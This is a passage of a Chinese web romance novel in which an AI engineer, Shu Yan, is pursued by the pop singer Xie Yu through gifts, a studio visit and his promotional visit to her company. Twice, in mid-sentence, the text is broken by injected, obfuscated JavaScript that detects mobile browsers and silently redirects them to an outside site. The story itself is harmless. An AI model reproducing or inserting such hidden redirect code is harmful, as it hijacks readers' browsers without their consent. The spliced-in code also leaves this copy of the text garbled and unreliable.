原来还真的是送给她的啊。 舒言朝他笑了笑，赶紧说道：“没有啊，喜欢的。” 他送的东西她一直都很喜欢。 她倾身把那束玫瑰花抱在了怀里，又低头轻嗅了一下，一股淡雅的香气钻入她的鼻息，很好闻的味道。 不过怎么又是粉色的啊。 舒言想起他高中的时候送给自己的礼物也都是粉色的。 可能这就是直男审美吧。 她低头笑了笑，不过好像也还能接受。 坐上车后，舒言看着怀里的玫瑰花束，偏过头随口问了句：“怎么突然想起送花了？” 谢玙炙热的目光落在她脸上，意味不明地说了句：“你说呢？” 舒言心跳加速，没什么底气地说：“……我不知道。” 谢玙哼笑了一声，“行。” 车内开了暖气，温度在慢慢攀升。 他手指轻敲着方向盘，温柔的声音里似乎有点无奈。 “真看不出来啊，我在追你。” “追你”这两个字被他咬得很重，挠得她耳朵酥酥麻麻的，就好像是贴着她耳边说的一样。 舒言：“……” 虽然他那天是说过会追自己，但是她没想到他会这么直接。 她心跳声爆炸，脸蛋红得不行：“现在知道了。” 谢玙定定地看着她，语气很认真：“我想给你全部的恋爱流程，虽然你这辈子就只能谈我这一个，但怎么样也不能让你吃亏了。” 全部的恋爱流程。 追求、告白、恋爱、求婚……这些一个都不能少。 舒言感觉自己的心泡在了蜜罐里，整个人都甜滋滋的。 她刚想说什么，就感觉到自己手里突然多了个什么东西。 她低头一看，一条很漂亮的雪花手链出现在她的手心。 舒言伸手摸了摸，上面还残留着他掌心的温度。 手链上的雪花形状很精致，上面还镶嵌了几颗淡蓝色的宝石，在自然光下折射出璀璨又迷人的光芒。 舒言忍不住发出惊叹，“好漂亮。” 谢玙唇角上扬：“这才是真正要送给你的礼物，我在加拿大给你买的，第一眼看到的时候就觉得很适合你。怎么样，喜欢吗？” 这么好看的手链应该没有几个女孩子能够拒绝。 舒言点了点头，虽然她平时没有戴手链的习惯，但还是想现在就把它戴上。 她朝他伸出手，声音含着期待：“那你帮我戴上。” “好。”谢玙拿过手链，低下头有些笨拙地打开卡扣，试了好几次才把手链戴好了。 他蹙眉盯着她过分纤细的手腕，“怎么这么瘦。” 舒言看着手腕上的手链，开心地举起来晃了晃，“也没有很瘦吧，你看这不刚好合适。” 谢玙倾身帮她系好安全带，显然不愿意和她争论这件事，淡声和她陈述着事实：“舒言，我帮你扣的是最里面的卡扣，就这样都还大了一点。” 见他突然这么严肃地叫自己的名字，舒言还有点不适应：“好吧好吧，我晚上多吃点行了吧。” 谢玙这才满意地笑了下，发动车子驶离了路边。 第一次看见他开车的样子，舒言觉得还蛮新奇的，亮晶晶的眼睛老是不自觉地看向他。 果然长得好看的人做什么都让人觉得赏心悦目。 舒言的目光扫过他深邃的眉眼，高挺的鼻梁，紧抿的嘴唇…… 余光注意到她眼底的欣赏，谢玙的喉结情不自禁地滚动了一下，语气略带调侃：“看来我得给我这张脸买个天价保险，还得定期去做保养。” 舒言不明白他为什么突然这么说。 谢玙笑着瞥了她一眼，“你不是很喜欢吗，当然得好好保护起来。不然还怎么以色侍人……” 以色侍人？ 以色侍人！ 舒言的脸肉眼可见的变红了。 这个词是这么用的吗…… 而且说得好像她只喜欢他的脸一样。 明明才不是，他身上值得她喜欢的地方多了去了。 舒言气鼓鼓地瞪了他一眼，直接扭过头不看他了。 她嘴里嘟囔着：“你少污蔑我了，我可不是只喜欢你的脸。” “我能写出3000字作文夸你呢，你信不信？” 头一次听见有人是这么吓唬别人的，谢玙成功被逗笑，“好啦，逗你玩的，别生气了。” “先带你去吃好吃的，然后带你去我的工作室看看，怎么样？” 听见可以去他的工作室，舒言倒是有些期待了，她当然想去他平时工作的地方看看。 她毫不犹豫地说：“好。” …… 他们晚上去吃了一家粤菜，味道还不错，舒言在谢玙的诱哄下吃了很多，肚子都有点吃撑了。 吃完饭后他们散了一会儿步，谢玙就开车带她去了工作室。 工作室坐落在西城区，是一栋独立的小别墅，一共有两层。 一楼有客厅、排练室还有录音棚，二楼有专门的休息室，谢玙说他有时候会在这里过夜。 谢玙先带着舒言来了排练室。 这个房间很大，里面有各种各样的乐器。 舒言的目光一下子就锁定在墙上那把绿色吉他上。 谢玙直接取下来让她看，他随便拨动了几下琴弦，指尖就流淌出一串好听的旋律。 “这把吉他陪了我很多年了，是我外婆送给我的。我外婆是一个很优秀的歌唱家，我当初就是受她的启蒙才开始学音乐的。” 舒言若有所思地笑了下：“难怪你唱歌这么好听，原来是有家族基因。” 她伸手摸了摸吉他，赞同地说：“这把吉他真的很好看，感觉它的音质也很好。” 谢玙：“是啊，所以这么多年了一直都舍不得换，总感觉有它陪着会更安心一些。” 舒言又走到架子鼓旁边，其实她一直觉得打架子鼓还挺帅的，可惜大学那会太忙了都没机会体验一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388333|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “想试试吗？”像是看穿了她内心的想法，谢玙笑着问她。 舒言眼底有几分跃跃欲试，“可以吗？” “当然，我可以教你，你先坐下吧。” 谢玙先给她示范怎么握鼓棒，然后又把鼓棒递给她。 “你试试看。” 舒言按他刚才的动作把两只鼓棒握在手里，两眼迷茫地看向他。 谢玙弯下腰给她耐心指导，“来，你先敲它两下，再敲一下它，然后重复一遍，找找感觉。” 舒言按他说的做，感觉还挺有意思的，又多来了几遍。 紧接着他又教了她几个节拍。 “很不错。”见她都掌握了，谢玙开始教她踩底鼓，“待会你敲这几个鼓的时候顺便用脚踩一下下面这个。” “好。”舒言照他说的试了试，渐渐找到了一点感觉，不得不说打架子鼓还挺解压的，她很喜欢这种随性自由的感觉。 舒言自己在那摸索的时候，谢玙就抱胸靠在墙上看她，笑意清浅，瞳孔里全是她的身影。 这个画面好像已经在他的梦里出现过很多遍，而今天终于变成了现实。 过了一会儿，舒言就停了下来，她今天也就是体验一下，这玩意短时间内也没法学会。 谢玙看出来她挺感兴趣，“你喜欢的话，我以后慢慢教你就是。” “这里的乐器，你都可以随便用。” 舒言笑着说好。 之后谢玙又带着她去了录音棚，里面的设备看上去就很专业。 “我前段时间都在这边录新专辑，前几天在加拿大把新歌的MV也拍完了。” 听他提起新专辑，舒言倒是想起一件事来，她踢了下他的脚尖，“对了，你北沅站的演唱会是不是要来了。” “嗯，下个周六。” 谢玙俯下身，近到离她的脸只有一个拳头的距离，声音带着说不出来的蛊惑：“所以、你是抢到我演唱会的门票了吗？” 他这么一问，舒言心里倒是有些后悔这次没去抢票了，虽然她多半也抢不到。 两年前的那次演唱会也是，反正她就没抢到过，他的演唱会门票也不知道到底被谁抢到了。 舒言摇摇头，表情沮丧：“没有。” 她小声抱怨了句：“太难抢了，根本抢不到。” 谢玙喉间溢出一声轻笑，顺着她的话往下说：“那怎么办呢？” “我记得某人以前可是说过要支持我的每一场演出，甚至连专属粉丝礼物都收下了。” “我开了这么多次演唱会，你不会一次都没来过吧。” 舒言：“……” 她有点尴尬地别开视线。 好像还真的是这样。 但是这真的不能怪她，谁让他人气这么火爆的。 不过听见他提起自己高中时说过的话，声音多少有些羞赧：“你怎么现在都还记得啊。” 谢玙扬了扬眉，“我当然记得了，我可是一直在信守承诺，可不像某些人，骗走了我的粉丝礼物不说，还把说过的话抛之脑后。” 舒言呼吸一紧，声音轻轻的。 “……什么承诺？” 谢玙无奈一笑，语气有些失落：“看来你是真的忘了。” 舒言认真回想了一下，脑海里闪过一个又一个场景。 在她不是很确定的时候，头顶上方倏地落下一句。 “演唱会门票，我一直给你留着的。” “从第一次演唱会开始，已经有21张。” 每一次演唱会，他都在期盼她的出现。 他想再像以前那样唱歌给她听。 话音刚落，舒言的回忆就像坐上了快车一样，迅速地在她脑海里穿梭而过。 她猛地抬起头。 她想起来了。 当时他送给自己狗尾巴草兔子的时候，说过要把前排的位置永远留给她。 没想到他居然一直都还记得。 舒言眼眶开始发烫，喊了一声他的名字。 “谢玙。” “嗯？” “让我去吧，你的演唱会，我想重新做回你的听众。” 50. 第50章 转周。 舒言刚到公司就听见大家在窃窃私语，等回了办公室，才从徐倩琳口中得知他们公司好像要和谢玙有合作了。 徐倩琳显然十分兴奋，眉飞色舞地和她说：“有人听见老大打电话的时候说的，应该是真的吧。” “啊啊啊啊啊，要是能在公司见到谢玙，我怕是要激动得直接晕过去。” 吴明嘲笑她：“瞧瞧你这点出息，况且这事都还不一定呢，劝你别高兴得太早。” 徐倩琳：“滚滚滚，你根本就不懂，这可是陪伴了我整个大学时期的男人，当时我男朋友就是唱谢玙的歌向我表白，我才答应了他，算起来他还是我和我男朋友的媒人。” 舒言听后短暂的征了几秒，谢玙要和他们公司合作这件事她并不知道，看来他是故意瞒着她的。 上午11点，公司上下紧急召开了一个短会。 徐请让微笑看着底下的员工，“这件事情想必大家已经知道了。” 话音一落，底下的人立马躁动起来。 “老大老大，是不是谢玙真的要和咱们有合作了啊。” “卧槽，来真的啊，那今年公司年会能不能请他来啊。” “徐总徐总，你能帮我们要张演唱会门票吗？” “居然是真的啊，我可以在公司见到谢玙了，太好了！” “要是谢玙真能来，徐总我愿意给你打一辈子工！” “……” 徐请双手撑在桌面，身子稍微前倾，“没错，昨天晚上我们收到了谢玙工作室的回复，他答应和我们公司合作，并且这一次还是免费推广。” “不过他经纪人那边提出了一个要求，今天下午他会来我们公司专门学习一下Nexora怎么使用，到时候需要一位工程师给他亲自示范一下。” “另外希望大家自觉保护谢玙先生的隐私，不随意拍摄照片和视频，也不提倡主动要求和谢玙先生合影。” 得到徐请让的肯定回复后，大家更是坐不住了，好多人自告奋勇要给谢玙做讲解，毕竟这可能是他们唯一一次接近偶像的机会。 “老大老大，让我来，我保证讲得明明白白。” “徐总看看我，我形象气质佳，普通话标准，绝对不会给咱们公司丢脸。” “我我我，我是谢玙的忠实粉丝，而且我这人自来熟，谢玙看见我绝对很亲切。” 徐倩琳也不甘示弱地说：“他发第一张专辑的时候我就开始喜欢他了，我还会说几句南港话，我业务能力还很强，绝对给谢玙把Nexora介绍得明明白白的……” 见大家这么踊跃的报名，徐请让不禁莞尔，“好啦，人家说了不用我们指定人，所以大家都要做好充分的准备！另外，告诉大家一个好消息，谢玙工作室那边还提出要免费送两张演唱会门票给我们，到时候公司群里抽奖啊，大家各凭运气。” 说实话徐请让也没想到谢玙居然愿意免费帮他们推广软件，他想起之前宣传部那边的人还说给谢玙工作室发邮件后一直没有回应，但他现在竟然主动找上门来了，还给他们送了粉丝福利，这确实是让人有些匪夷所思。 虽然谢玙只是一个歌手，但是他的流量并不比业内那些一线演员差，而且他的口碑好，出道多年也没有任何黑料。 Nexora现在已经有了一定的用户基础，如果谢玙帮他们推广，自然是锦上添花，而且他们公司研发的一些家用电器正好也需要找人代言，谢玙确实是一个很合适的人选。 因为这个爆炸性的消息，整个公司的人都像打了鸡血一样，一个二个都亢奋得不行，键盘都敲得起火了。 徐倩琳的嘴角就没下去过，嘴里还一直在哼谢玙的歌。 中午休息的时候，舒言收到了谢玙发来的消息。 X:【吃饭没有。】 舒:【吃过了，你呢。】 他直接发过来一张照片，是一份看上去就很健康的午餐。 X:【正在吃，味道不咋地。】 舒:【那晚上我们一起去吃好吃的。】 这段时间他们每天都会一起吃晚餐，打卡了很多北沅的美食，舒言感觉自己都长胖了一些。 舒言盯着手机屏幕，忽然想起他下午要来他们公司的事情，心想他可真沉得住气，现在都还不告诉自己。 于是给他发了句:【你是不是有什么事情瞒着我啊。】 看到她的消息，谢玙顿时反应过来她应该是知道自己下午要去云阙科技的事情了。 他扬唇笑笑，开始打字。 X:【你知道了？还说给你一个惊喜。】 舒:【怎么突然想起帮我们公司免费推广了。】 说到这件事情谢玙还有点后悔。 之前Nexora还没上线前，云阙科技那边就联系了他，但是当时秦亦熙和他说这件事情的时候，谢玙直接拒绝了。 他很少接商务，平时也不是很喜欢暴露在镜头前。 作为一名歌手，他更喜欢用作品代替自己和歌迷见面。 后来还是因为看到那个热搜，他才知道舒言就在云阙科技工作，而且她还是Nexora的核心开发者。 至于现在为什么要主动帮他们公司推广，答案自然不言而喻。 想到今天可以提前见到她，谢玙的心情显而易见的好。 X:【那要不我找你们老板要点钱？】 舒言被他这句话逗笑，知道他是在开玩笑，干脆开始配合他:【行啊，最好多要点。】 虽然他没有直说，但舒言知道他愿意帮他们公司推广软件，肯定是因为自己。 就像他之前带自己去他的工作室一样，他真的一直在努力让他们的生活紧密联系，去慢慢弥补过去七年的缺憾。 舒言的内心很难不因此触动，想到高中时自己为了接近他找的那些蹩脚的理由，眼底不禁浮现笑意。 之后两人又聊了几句，舒言就开始午休了。 下午上班后，舒言又开始忙医疗机械公司的事情，和甲方那边沟通具体的细节。 现在国内的AI技术蒸蒸日上，已经有一些医院率先引入了AI辅助治疗，在不久的将来，人工智能和医疗的结合是科技发展的必然趋势。 云阙科技近几年在业内崭露头角，取得了相当不错的成绩，再加上Nexora的上线为人工智能带来了很大的流量，公司自然想抓住这个风口继续推广AI，让其更大范围地惠及大家的生活，因而这次和医疗器械公司的合作就显得尤为关键。 整个下午徐倩琳都无心工作，要么是在留心公司群里的消息，要么就是瞅着办公室的门口看。 下午三点半，云阙科技所在的办公楼层忽然传来一阵喧闹声。 见状，徐倩琳立马兴奋地站了起来，“肯定是谢玙来了，走走走，咱们也出去看看。” 吴明也禁不住好奇地跟着她走了出去。 最后办公室就只剩下舒言一个人。 她看了眼微信，发现几分钟前谢玙果然给自己发了消息。 X:【我到了，待会见。】 舒言刚放下手机，就听见走廊外面传来徐请让热情的声音。 “谢先生，您好，我是云雀科技的负责人徐请让，非常感谢您愿意帮我们公司推广Nexora。下面我给您简单介绍一下Nexora的基本信息……” 老板亲自出来接待，也算是给足了面子。 一行人说着话，很快就出现在舒言他们办公室的外面。 听见声音越来越近，舒言心跳声敲着鼓，她抬头往办公室门口看去时，恰好和谢玙对视上。 男人脚下的步子定住，如有实质地看了过来。 见他停了下来，其他人也都围挤在他们办公室门口。 舒言心跳漏了一拍，强装淡定地朝他微笑了一下。 站在谢玙身后的小刘也看到了舒言，还偷偷和她打了个招呼。 看到她这个反应，谢玙猜到她这是要和自己假装不认识。 不过他也愿意配合她。 他偏过头不知道和徐请让说了什么，下一秒徐请让直接带着他往办公室里面走来。 其他同事也跟在后面走了进来。 原本还算大的办公室一下就显得拥挤起来，身后好几十双眼睛都追随着谢玙。 看着他们离自己办公桌越来越近，舒言反应很快地站了起来。 “徐总，谢、先生，你们好。” 只是这三个字像烫嘴一样，从她嘴里念出来总觉得怪怪的。 谢先生？ 果然谢玙在听见她这个称呼时意味深长地笑了下。 他勾了勾唇，“不用这么客气，直接叫我的名字就行。” 被这么多人看着，舒言只能轻“嗯”了一声，脸上却腾的升起一股热。 谁能想到装不认识竟然这么难。 徐请让笑着和他介绍：“这是我们公司一位非常优秀的AI工程师，也是我的大学学妹，叫舒言，她是Nexora软件的核心开发者之一。” 徐请让和谢玙说话的时候，舒言都没敢看他。 其实她也不是故意和他装不认识的，只是现在这么多人看着，她不想引起一些不必要的麻烦。 谢玙清冷低沉的声音在办公室响起，目光有意无意地落在她身上，“徐总，既然舒小姐是核心开发成员，那不如就让她给我讲讲这个软件要怎么用吧。” “舒小姐”这三个字听得舒言心里一颤，不过又觉得有些好笑。 幼稚。 她默默在心里吐槽了一句。 对于谢玙这个提议，徐请让自然没有理由拒绝。 其实他原本也有这个想法，舒言的个人能力自然不用说，而且她几乎可以说是最熟悉这个软件的人，确实是最合适的人选。 徐请让笑着说：“行，那舒言你给谢先生示范一下要怎么使用Nexora。” 早就做好心理准备的舒言瞥了眼某人，说了句：“好。” 谢玙倒是不躲不闪地回望她，那样子像是半点都不怕别人发现什么，最后还是舒言率先挪开了视线。 谢玙无声笑笑，又和徐请让说：“徐总你们可以先去忙，我这边让舒言陪着就行了。” 听见他这么自然的语气，徐请让还短暂愣了两秒，然后霎时明白过来什么。 他眼底染上笑意，暗道难怪啊。 看来他这个小师妹应该是和这位大明星私下认识，又联想到之前的某件事情，这样一想，谢玙为什么愿意帮他们公司免费推广软件自然也就豁然开朗。 不过徐请让也没想戳穿什么，只是和舒言交待：“好，那你今天下午就负责好好招待谢先生。” “对了，你今天也可以早点下班，前段时间辛苦你了。” 说完后，他转过身看向身后那群看热闹的人，“其他人各回各的工位继续工作。” 既然老大都发话了，其他人就是想留下来也不可能了。 没过多久，办公室就重新安静了下来。 舒言他们办公室人不多，大家也都坐到了各自的工位上，虽然眼睛还是一直在往他们这边瞟。 虽然周围还有其他人，谢玙倒也没觉得不自在，自己随便拉了把椅子过来，在舒言旁边坐下了。 小刘觉得此情此景下自己留下来当电灯泡怕是不太合适，于是便说：“谢哥，我去给大家订下午茶吧，你们想喝什么吃什么。” 谢玙嗯了一声，说：“你看着买吧。对了，你问下前台，给公司的人都订一份。” 小刘心领神会：“好勒好勒，我马上去。” 听见他要请全公司的人吃下午茶，舒言神色有点犹豫：“会不会太麻烦了。” 而且按理来说也应该是他们公司给他准备下午茶才对。 谢玙：“没事，不麻烦。” 办公室的其他人也耳尖地听见了他们说的话，但是又不太好意思主动搭话，只敢默默观察。 尤其是坐在舒言对面的徐倩琳，心跳直接飙升到了一百。她都快要激动死了，恨不得掏出手机和全世界炫耀。 不过她还是忍住了，等待会下午茶来了，她一定要酷酷拍照，然后狠狠发圈。 管他什么圈都要发几遍。 不过她的运气也是真的好啊，谢玙居然选中了他们办公室的人，而且现在还坐在她的对面！！！ 徐倩琳忍不住托腮偷瞄谢玙。 有一说一，本人真的有点过分帅气了。 简直就是神仙颜值！！！ 说话的声音也好好听，和唱歌时一样好听。 她真的要幸福死了！！！ 这确定是她不花钱就能享受的福利吗？ 从谢玙坐在自己旁边的那一秒开始，舒言就觉得她的座位一下就变得拥挤起来，她甚至感觉周围的空气都变稀薄了。 她默不作声地把椅子往里面挪了挪，只是她这一动倒是方便了谢玙，他直接把那双无处安放的大长腿往里面伸了些，两个人这下甚至离得更近了，她稍微动一下就会碰到他的大腿。 舒言：“！！！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399409|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她深吸了一口气。 不可思议地看了他一眼，又庆幸在桌子底下没人看见，但是万一待会有人从他们这经过呢？ 他们要怎么解释…… 看到她脸上变幻的表情，谢玙耷拉着脑袋笑了笑，抬起头时又变成了冷冷清清的模样。 舒言张嘴想和他说什么，但是考虑到办公室还有其他人，只能拿出手机给他发消息:【你能别离我那么近吗？】 发完消息后，舒言还指了指手机，示意他看消息。 接收到她的信号，谢玙慢条斯理地从衣服口袋里拿出手机，回复道:【你很怕别人发现我们的关系？】 舒言想也别想地回复他:【是的。】 只是她刚回复完就想撤回，觉得这段对话也太有歧义了。 但显然来不及了，他已经看到了。 X:【怕什么，是我在追你又不是你在追我。】 舒言脸上一热。 可问题根本不是谁追谁，而是她现在不想让别人知道他们认识。 舒言开始控诉他:【哪有你这么追人的……】 X:【在公司不能追你？】 舒:【不能。】 X:【行，那出了公司我再追。】 舒言觉得自己的脸更烫了，冬天果然很容易缺氧。 谢玙知道她脸皮薄，也没再说什么，只是默默把腿收回来了。 舒言暗自松了口气，决定先完成徐请让安排的任务，扭过头问他：“软件下载没有？” 谢玙：“下了。” “那你先打开吧，我给你介绍一下。” 谢玙点开Nexora，直接把手机放在了桌上。 舒言低下头盯着他的手机屏幕，温声道：“你在这个对话框里输入指令，它就可以给出回复了，你给出的指令越准确越详细，它给出的答案可能也就越符合你的预期。你现在想想看，想让它帮你做什么。” 谢玙垂眸笑笑：“暂时没想到什么。” 舒言沉吟了几秒，“那这样吧，你可以对它说你是歌手，然后让它帮你安排你的一整天，你按照它给出的计划执行，你还可以把执行的过程拍下来剪辑成事情，再发到微博上，这样就算是帮我们公司推广了。” 一直在往他们这边看的徐倩琳实在忍不住了，声音难得有点羞涩，“我觉得舒言说的很有道理，谢玙老师你可以考虑一下。” 谢玙抿了抿唇，“行，那就这样试试。” 之后舒言又给谢玙介绍了Nexora的一些其他用法，比如寻找创作灵感、简单程序的制作……还顺便介绍了他们团队在设计上的一些小巧思。 谢玙认真听着，时不时饶有趣味地点点头。 当她停下来去看他时，每次都能撞上他深邃明亮的眼睛。 舒言眸光微动，忽然想起一件事来。 在学生时代的记忆里，他们之间似乎没有过电视剧里那种男生女生之间互相给对方讲题的场景。 因为不在一个班，他们连相处的机会都少之又少。 但是谁能想到很多年后，他会出现在自己工作的地方，坐在她旁边听她聊起自己开发的软件呢。 谢玙见她眼睛亮亮的，眨也不眨地看着自己，内心顿时柔软得不像话。 之后舒言又让他自己实操了一下。 事情基本搞定后，小刘也回来了。 他手上提着几大袋东西走进来，“谢哥，我回来了。” “这是咱们这个办公室的，其他办公室的也都送过去了。” 谢玙：“好，辛苦了。” 办公室的其他人赶紧帮忙接过东西。 小刘买了很多吃的，奶茶，水果拼盘，各种各样的点心，中式西式的都有。 一股诱人的香味飘散在空气中，刺激着大家的味蕾。 小刘笑着说：“这是谢哥给大家的一点见面礼，大家请自便。” 吴明笑眯眯地凑过去：“那我们就不客气了，以后肯定会继续支持谢玙老师的！” 徐倩琳也脸红心跳地走过去，“谢谢，我也会一直支持谢玙老师的。” 小刘帮忙拿了两份过来给谢玙和舒言。 等下午茶吃得差不多的时候，徐倩琳终于憋不住了，她实在不愿意放过这么好的机会。 她鼓起勇气看向谢玙，“谢玙老师，我喜欢你很多年了，请问你可以给我签个名吗？” 谢玙像是这才注意到她，他掀起眼皮看了她一眼，“可以。” 徐倩琳高兴得快要说不出话来，她赶紧拿出一张专辑递给谢玙。 “这是你出的第一张专辑，我真的特别喜欢，新专辑我也会继续支持的，希望你以后越来越好！” 说完后徐倩琳感觉自己眼眶有些湿湿的，拼命抑制才没有哭出声来。 谢玙接过专辑，又拿过小刘手上的黑色水笔，很快就在上面签了一个漂亮的签名。 “签好了，谢谢你一直以来的支持。” 徐倩琳赶紧摆摆手，“不用谢不用谢，我一定会永远支持你的。” 看着专辑上面的签名，她的心脏像只小兔子一样在胸膛上下乱撞，幸福得差点当场晕厥过去。 谢玙和小刘先一步离开了公司。 今天不是很忙，所以舒言比平时下班要早一些。 等她上车以后，才发现小刘已经离开了，谢玙低着头正在回复消息。 原本以为还要等一会儿，没想到他下一秒就关上手机看了过来。 舒言不明所以地问他：“怎么了？” 他下巴往车窗外点了下，一副看戏的模样，“喏，外面好像是你的同事。” 舒言被他这话弄得紧张起来，她立马往外面看去，结果发现根本就没人。 “你是不是看错了。” 等回过头看到他正憋着笑，她这才反应过来自己这是被骗了，又羞又恼地握拳往他胸口锤了一下，虽然没用什么力道。 谢玙眉眼带笑，宽大手掌包裹住她柔软的小手，“好啦，别生气了，我这是在帮你脱敏。” “你想想咱们后面谈恋爱了，难道你舍得一直不公开我吗？” “我当然……”舒言语气弱了下去，“不舍得。” 她知道他是在介意今天在公司她假装和他不认识的事情，所以心里也没真生气。 谢玙并没有想逼她的意思，只是想在这件事情上表明自己的态度，“我希望你不要有任何负担，其实我就是一个普通人，也想和自己喜欢的女孩谈一场轰轰烈烈的恋爱。” 51. 第51章 冬天天黑得很早，外面的风景渐渐变得模糊。 舒言黑亮的眼眸似一汪泉水，她唇边漾起笑意。 “好，我知道了。” 这又何尝不是她的愿望。 在别人的眼中，他或许是光芒四射的大明星，但在她的眼里，他永远只是她爱的人。 她也渴望能和他长长久久，大大方方地接受所有人的祝福。 谢玙握住她的手，带了点薄茧的手指摩挲着她的手背，激起一阵痒意。 封闭狭小的车厢内涌动着暧昧的气氛。 舒言眨了下眼睛：“要不我们听首歌吧。” “好，等一下。” 谢玙松开她的手，递给她一个袋子。 “这是什么？” “打开看看。” 舒言打开袋子，发现里面有一个盒子，上面全是法语。 等她拆开盒子后，才知道原来是一瓶香水。 在谢玙热切的注视下，舒言在手腕处喷了一下，一股洋槐花的清香萦绕在鼻尖，温柔、灵动又俏皮，仿佛从春天的槐树下穿梭而过。 槐花味的香水并不常见，她之前也在线下门店去试过，都没有找到她想要的感觉，但是这瓶香水的味道却让她一下就喜欢上了。 舒言眼神惊喜：“这瓶香水我很喜欢，你在哪买的？” “之前去法国参加活动，无意间发现的一款宝藏，前几天托朋友带回来的。” 他笑着瞥了她一眼，“洋槐花的味道的确很让人着迷。” 舒言双颊潮热，把香水小心翼翼收进包里放好。 这段时间她已经习惯他时不时给自己准备的惊喜，现在家里面不知道堆了多少他送给自己的礼物，而且全是些很贵的东西。 她想了想，还是和他说：“其实你不用送我这么多礼物的。” 虽然收到礼物她也会很开心，但是她这个人物欲并不高，真正在乎的也只有他。 谢玙怎么会不知道她心里在想什么，他思索了几秒，说：“言言，我并不是想用这些糖衣炮弹打动你的心。” 他脸上有股躁意，声音低沉又撩人，“在我人生的计划中，高考后我就会和你表白，所以这些早该是我们的日常。” “任何有标价的礼物，都不及你看向我时的笑容珍贵。” 舒言低头莞尔：“那如果高考后我没有接受你的告白呢？” “那就一直追。”他的眼神炽热无比，刻意放慢语速，“今年原本应该是我们在一起的第6年。” …… 回到家里，舒言脑子里都还在回想他的那段话。 跳动的心脏无时无刻不在彰显着她的心动。 她甚至忍不住去想，如果当初没有发生那件事，他们会不会真的在高考后就在一起了。 末了，又不禁嘲笑自己想要的实在太多。 过往的一切注定无法改变，他们能抓住的只有眼前。 洗完澡后，蔡妙妙给她打了视频电话过来。 蔡妙妙穿着毛茸茸的睡衣出现在屏幕里，开口就问她：“我亲爱的言言，最近和谢玙进展怎么样？” 舒言笑了笑：“挺好的。” 蔡妙妙揶揄一笑，“那就好，你看我就说嘛，他果然喜欢你，而且喜欢得不得了，都知道你喜欢他了，还是要主动追你。” “真希望你们能快点在一起，虽然你们现在和在一起了估计也没什么区别，不过——” 蔡妙妙朝她眨了眨眼睛，“你难道不想和谢玙亲亲抱抱举高高吗，这样一个大帅哥放在你面前，你真的能忍住吗？” “……妙妙。”舒言被她说得有点不好意思。 蔡妙妙在镜头前笑得越发猖狂，“而且我听说歌手的肺活量很好，舌头也很灵活哦，到时候你和他接吻肯定很爽。” 舒言耳朵都红了，“妙妙，你别说了。” 可脑海里又情不自禁浮现他的嘴唇，形状很漂亮，浅粉色的，看上去就软软的。 不过她怎么被妙妙给带偏了，还是说其实她也很想亲。 “哈哈哈哈哈……”蔡妙妙笑得不行，“不过言言你也太容易害羞了吧，这样下去你们什么时候才能亲上嘴。” “看来是指望不上你了，只能等谢玙主动了。嘿嘿，我跟你说，根据我阅文无数的经验，表面越是清心寡欲的人，说不定内心压抑的欲望越重哦。” 清心寡欲？ 舒言倒不觉得谢玙是这样的人，至于别的……她就更不清楚了。 见她越扯越远，舒言决定及时打断她：“妙妙，我们说点别的吧。” “好吧好吧，真希望你们能快点在一起。” 她眼珠子转了转，又说：“我跟你说，我今天又吃到了几个高中同学的瓜，你听不听？” 舒言被吸引了注意，“什么？” 蔡妙妙：“张筱竹，你还记得吗？” 舒言：“嗯，记得。” 印象中高中毕业后她们就没有联系过了，之前组织的几次同学聚会她也没有来。 蔡妙妙的声音挡不住的雀跃，“你绝对猜不到她现在在做什么工作！” 舒言顿时有些好奇：“她在做什么？” “她去当演员了，短剧演员！” “是吗？” 舒言确实还挺意外，不过心里很为她感到高兴，记得高中那会儿她因为脸上长痘痘有点自卑，不太爱和大家说话，没想到现在都去当演员了。 蔡妙妙小鸡啄米地点头：“是的，而且你知道吗，她要演的那部短剧还是我的小说改编的。” “这也太巧了吧。”舒言感叹。 “是啊是啊，不过她现在确实越长越漂亮了，我记得高中的时候她老是戴个口罩，我好长一段时间都不知道她长什么样子……” 舒言无言笑笑。 蔡妙妙借着又说：“马通海呢，你还记得吗？” 舒言眼神透露出些许迷茫。 “就班上那个最爱装逼最爱拍老师马屁的，你忘了吗，高二下学期的时候我们还和他吵了一架。” 听她这么一说，舒言终于想起来了。 高二的时候她拿了化学竞赛的全国一等奖，学习成绩也在年级遥遥领先。 有一天马通海不知道抽了什么风，突然开始在班上阴阳怪气起来，反正那意思就是嘲讽她没有天赋，学习成绩都是靠努力起来的。 蔡妙妙：“我记得你当时对马通海说了一句话，我到现在都还记得，你说的是——” “天赋固然可贵，但努力同样值得被尊重。” “他真的太讨厌了，不过听说他高考失利了，只去了个普通的一本，大学毕业后就回南港结婚了。” “好了好了，不说他了，你这周是不是要去谢玙的演唱会啊。” 舒言：“是的。” “羡慕，嫉妒，如果不是我有事，我一定让你帮我也搞一张票，我也想去。” 舒言安慰她：“下次吧，机会还很多。” 蔡妙妙：“也是，不过你也太幸福了吧，喜欢的人的演唱会诶，而且还是专门留给你的座位，想想就觉得好浪漫！” 舒言弯了弯唇，心里也很期待演唱会的到来。 这一次，她终于可以再次见证舞台上肆意、张扬的他。 — 没过几天，谢玙工作室就在微博发了一条Nexora的推广视频。 视频里谢玙用Nexora来帮他安排全天的日程，度过了充实又有趣的一天。 